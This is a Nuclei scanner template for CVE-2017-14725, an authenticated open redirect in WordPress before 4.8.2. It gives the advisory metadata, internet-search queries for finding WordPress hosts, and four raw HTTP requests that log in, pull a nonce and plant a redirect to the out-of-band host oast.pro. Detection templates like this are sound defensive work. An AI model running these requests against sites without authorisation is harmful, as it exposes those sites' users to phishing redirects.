id: CVE-2017-14725

info:
  name: WordPress < 4.8.2 - Authenticated Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress versions before 4.8.2 contain an open redirect caused by improper validation in wp-admin/edit-tag-form.php and wp-admin/user-edit.php, letting attackers redirect users to malicious sites, exploit requires access to admin interface.
  impact: |
    Attackers can redirect authenticated users to malicious sites, potentially leading to phishing or malware distribution.
  remediation: |
    Update to WordPress 4.8.2 or later.
  reference:
    - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
    - https://core.trac.wordpress.org/changeset/41398
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14725
    - http://www.securitytracker.com/id/1039553
    - https://www.debian.org/security/2017/dsa-3997
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-14725
    cwe-id: CWE-601
    epss-score: 0.04176
    epss-percentile: 0.88838
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: wordpress
    product: wordpress
    shodan-query:
      - http.component:"wordpress"
      - cpe:"cpe:2.3:a:wordpress:wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2017,wpscan,wordpress,redirect,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/term.php?taxonomy=category&tag_ID=1&wp_http_referer=https%3A%2F%2Foast.pro HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '_wpnonce')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/edit-tags.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=editedtag&tag_ID=1&taxonomy=category&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fterm.php%3Ftaxonomy%3Dcategory%26tag_ID%3D1%26wp_http_referer%3Dhttps%253A%252F%252Foast.pro&name=Uncategorized&slug=uncategorized&parent=-1&description=

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wp_http_referer=https')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/term.php?taxonomy=category&tag_ID=1&wp_http_referer=https%3A%2F%2Foast.pro&message=3 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "href=\"https://oast.pro\"")
          - contains(body, "Back to Categories")
        condition: and
# digest: 4b0a00483046022100f0243a89f5689f952c3b32438bf26802a2bce340ee176fd3b5fc2ac0872c97d8022100d5921891335a3015f5e279e6ade0acab8555d955a619e0439e4113678c73cd9c:922c64590222798bb761d5b6d8e72950